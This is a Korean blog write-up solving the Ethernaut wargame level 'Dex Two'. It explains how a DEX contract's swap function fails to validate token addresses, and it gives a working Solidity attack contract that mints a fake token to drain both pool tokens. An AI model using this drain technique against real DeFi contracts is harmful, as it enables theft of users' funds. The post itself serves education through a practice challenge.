Ethernaut 23. Dex Two

독수리박박·2024년 7월 28일
post-thumbnail

level 23. Dex Two

Problem


이번 문제는 이 전 문제인 Dex와 비슷한 로직의 컨트랙트를 사용하고 목표 또한 비슷하지만 조금씩 다릅니다.

  • Token1, Token2를 모두 빼앗는 것이 목표입니다.

swap에서 일정 부분이 변경되었다고 합니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

자세히 보면 swap 부분에서 from, to token의 주소 검사를 안하는 것을 볼 수 있습니다.
나머지 부분은 모두 동일합니다. 사용자, 덱스에 존재하는 토큰의 수도 모두 동일합니다.

문제는 두 종류의 토큰을 모두 빼앗아야 하는데 DEX를 이용하게 되면 유동성 풀에 존재하는 한 종류의 토큰은 무조건 덱스에 지급해야 하기 때문에 pair 토큰의 잔액을 동시에 0으로 만들어 버리는 것은 불가능합니다. 그리고 한 종류의 토큰이 0이라면 swap amount가 0이 되거나 Zero Division Error가 발생할 수 있습니다.

Exploit


위에서 분석한 결과와 같이 두 종류의 토큰만을 사용해서 pair 토큰의 잔액을 동시에 0으로 만드는 것은 불가능합니다. 그렇다면 제 3의 토큰을 사용해서 가격을 조작하고 토큰을 모두 빼내야 합니다.

마침 swap 함수에서 pair 토큰인지 검사하는 로직이 빠졌기 때문에 이 공격이 가능할 것입니다.

공격은 다음과 같이 이루어질 것 입니다.

  1. 공격 컨트랙트는 ERC20을 상속받아 토큰의 한종류가 될 것입니다 or 컨트랙트에 존재하는 SwappableTokenTwo 상속 가능
  2. 문제 컨트랙트(DEX)에 일정 부분은 mint or transfer
  3. 문제 컨트랙트(DEX)에게 공격 토큰 전송 권한 위임(approve)
    • swap이 모두 transferfrom으로 이뤄지고 있기 때문에 그렇습니다.
  4. token1 swap
  5. token2 swap

DEX에 만약 1 토큰만 민팅했다면 이미 토큰 비율이 1:100이기 때문에 4번 과정에서는 amount를 1만 설정해도 100개가 돌아올 것 입니다.

하지만 5번 과정에서는 공격 토큰이 2개가 되었기 때문에 amount를 2로 설정해야 100개가 돌아올 것 입니다. 혹은 이 계산이 귀찮다면 공격 컨트랙트는 ERC20 컨트랙트이기 때문에 DEX에 있는 토큰을 1개 burn 시켜 토큰 비율을 다시 1:100으로 맞춰 5번 과정에서도 amount를 1로 설정해도 됩니다.

Solution


contract Attack is ERC20 {  
    Dex public target = Dex(0xb7020a5442c1bF3835E4E93b718457447a0A906f);

    constructor() ERC20("fake token","ft") {
        _mint(address(this), 3);
        _mint(address(target), 1);
    }

    function attack() public {     
        address token1 = target.token1();
        address token2 = target.token2();
        
        super._approve(address(this), address(target), 3);

        target.swap(address(this), token1, 1);
        target.swap(address(this), token2, 2);
    }
}

공격 컨트랙트 입니다. 딱 사용할 만큼만 민팅하고 approve 해줬습니다. 귀찮다면 모두 큰 수로 진행해도 됩니다.

0개의 댓글